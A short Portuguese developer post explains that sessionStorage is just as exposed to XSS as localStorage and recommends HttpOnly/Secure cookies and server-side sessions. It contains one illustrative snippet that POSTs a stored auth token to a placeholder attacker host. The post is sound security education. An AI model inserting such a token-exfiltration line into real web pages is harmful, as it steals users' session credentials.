Essa mesma fragilidade do localStorage, também se aplica ao sessionStorage?
❗️sessionStorage é mais seguro que localStorage? Spoiler: não.
Uma dúvida comum entre devs é se usar sessionStorage em vez de localStorage já resolve os problemas de segurança relacionados ao armazenamento de JWTs e tokens. A resposta curta é: não resolve.
⚠️ Ambos são vulneráveis a ataques XSS
Tanto o localStorage quanto o sessionStorage são:
- Acessíveis via JavaScript (
window.localStorage,window.sessionStorage) - Armazenados no lado do cliente
- Expostos a scripts maliciosos em ataques XSS
Isso significa que se um atacante conseguir rodar JS no seu domínio, ele terá acesso ao conteúdo do sessionStorage da mesma forma que teria ao localStorage.
🔍 Diferenças de comportamento (mas não de segurança)
| Característica | localStorage | sessionStorage |
|---|---|---|
| Persistência | Sobrevive ao fechar o navegador | É apagado ao fechar a aba |
| Escopo | Compartilhado entre abas | Isolado por aba |
| Acesso via JS | ✅ Sim | ✅ Sim |
| Proteção contra XSS | ❌ Nenhuma | ❌ Nenhuma |
🧪 Exemplo de roubo de token via XSS com sessionStorage
Mesmo que o dado só dure enquanto a aba está aberta, um XSS pode fazer isso:
fetch("https://attacker.site/steal", {
method: "POST",
body: sessionStorage.getItem("auth_token")
});
✅ A solução real: cookies HttpOnly ou sessões no backend
Para proteger de verdade:
- Use cookies com as flags
HttpOnlyeSecure. - Armazene apenas identificadores ou tokens de sessão que não possam ser reutilizados diretamente.
- Se possível, gerencie as sessões no backend (Redis, banco, etc.) com expiração e invalidação manual.
🔐 Conclusão
sessionStorage não é mais seguro. Apenas dura menos tempo.
Armazenar tokens sensíveis ali é tão perigoso quanto no localStorage. Não se deixe enganar pela volatilidade — a vulnerabilidade é a mesma.
Se quer segurança de verdade, pense como um atacante e proteja onde realmente importa: no ponto de acesso e armazenamento seguro.